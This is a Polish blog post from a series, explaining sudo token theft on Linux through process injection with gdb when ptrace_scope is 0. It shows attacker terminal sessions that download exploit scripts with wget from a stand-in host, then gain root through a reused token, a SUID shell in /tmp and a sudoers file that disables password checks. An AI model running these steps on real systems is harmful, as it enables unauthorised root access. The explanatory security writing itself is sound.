T

a część będzie zupełnie inna od poprzednich trzech (1, 2, 3). Jako użytkownik polecenia sudo na pewno zauważyłeś, że czasami sudo nie prosi o hasło, ponieważ pamięta nas jako użytkownika. Jak to się dzieje, że jesteśmy pamiętani? Czy możemy sfałszować taką tożsamość i uzyskać prawa administratora? Otóż sudo tworzy plik dla każdego użytkownika Linuksa w /var/run/sudo/ts/$USER. Pliki te zawierają udane i nieudane procesy uwierzytelnienia, które są używane przez sudo do zapamiętywania wszystkich uwierzytelnionych procesów.

Przy spełnieniu dwóch warunków jesteśmy w stanie wstrzyknąć wszystkie procesy powłoki będące własnością bieżącego użytkownika i użycia już istniejącego tokena sudo do legalizacji naszego własnego tokena sudo. Jakie to warunki? Są one wprawdzie dalekie od generycznej eskalacji uprawnień, ale mogą zadziałać jeśli mamy możliwość zdalnego wykonania kodu na maszynie i nie mamy hasła użytkownika, a nasza ofiara aktywnie używa sudo – to możemy “łatwo” uzyskać prawa administratora kradnąc jej token sudo i nie tylko.

Pierwszym warunkiem jest fakt, że podczas wykorzystywania luki w systemie musi być zalogowany użytkownik z takim samym uid oraz ważnym (standardowy czas wygaśnięcia hasła wynosi 15 minut) tokenem. Drugim natomiast przewiduje ustawienie ptrace_scope równe zeru: /proc/sys/kernel/yama/ptrace_scope == 0. System musi mieć również zainstalowany program gdb lub musimy go ściągnąć do aktualnego katalogu skąd będziemy wykonywać skrypty. Przykład: terminal pierwszy w którym jest zalogowany użytkownik wraz z aktualnym i poprawnym tokenem sudo:

Last login: Sat Apr 13 19:56:07 2019 from 192.168.56.1
agresor@darkstar:~$ sudo service ssh reload
[sudo] password for agresor:
agresor@darkstar:~$

Terminal drugi, w którym atakujący ma możliwość wydawania poleceń systemowych z tego samego użytkownika:

$ wget http://badattackers.pl/activate_sudo_token
$ wget http://badattackers.pl/exploit.sh
$ chmod +x activate_sudo_token
$ chmod +x exploit.sh
$ echo $$
$ 17223
$ ./exploit.sh
Current process : 17954
Injecting process 1253 -> bash
Injecting process 17223 -> bash
Injecting process 17925 -> bash
$ sudo -i
# id
uid=0(root) gid=0(root) groups=0(root)

Po podpisaniu niepoprawnego tokena polecenia sudo nie spytało się już o hasło użytkownika. Druga wersja eksploita nie bazuje już na tokenach sudo, a po prostu tworzy nam powłokę typu SUID shell, którą możemy później uruchomić:

$ wget http://badattackers.pl/exploit_v2.sh
$ chmod +x exploit_v2.sh
$ ./exploit_v2.sh
Creating SUID shell in /tmp/sh
Current process : 18072
Injecting process 1253 -> bash
Injecting process 17925 -> bash
Injecting process 18055 -> bash
$ /tmp/sh -p
# id
uid=1000(agresor) gid=1004(agresor) euid=0(root) egid=0(root)

Oraz trzecia wersja sploita, która po prostu dodaje nam globalne opcje sudo, aby każdy terminal mógł wykonać polecenie sudo bez autoryzacji hasłem wyłączając również czas wygaśnięcia tokenów:

$ wget http://badattackers.pl/exploit_v3.sh
$ chmod +x exploit_v3.sh
$ ./exploit_v3.sh
Injecting process 1253 -> bash
Injecting process 18269 -> bash
Injecting process 18298 -> bash
# cat /etc/sudoers.d/win
Defaults !tty_tickets
Defaults timestamp_timeout=-1

Oczywiście warunki umożliwiające przeprowadzenia takiego ataku są bardzo skrajne (standardowo w systemach ptrace_scope ma wartość 1 lub wyższą), ale w prosty sposób demonstrują możliwość podpisywania niepoprawnych tokenów sudo oraz eskalację uprawnień poprzez podmianę procesów (znaną także z programu reptyr).

Więcej informacji: sudo injection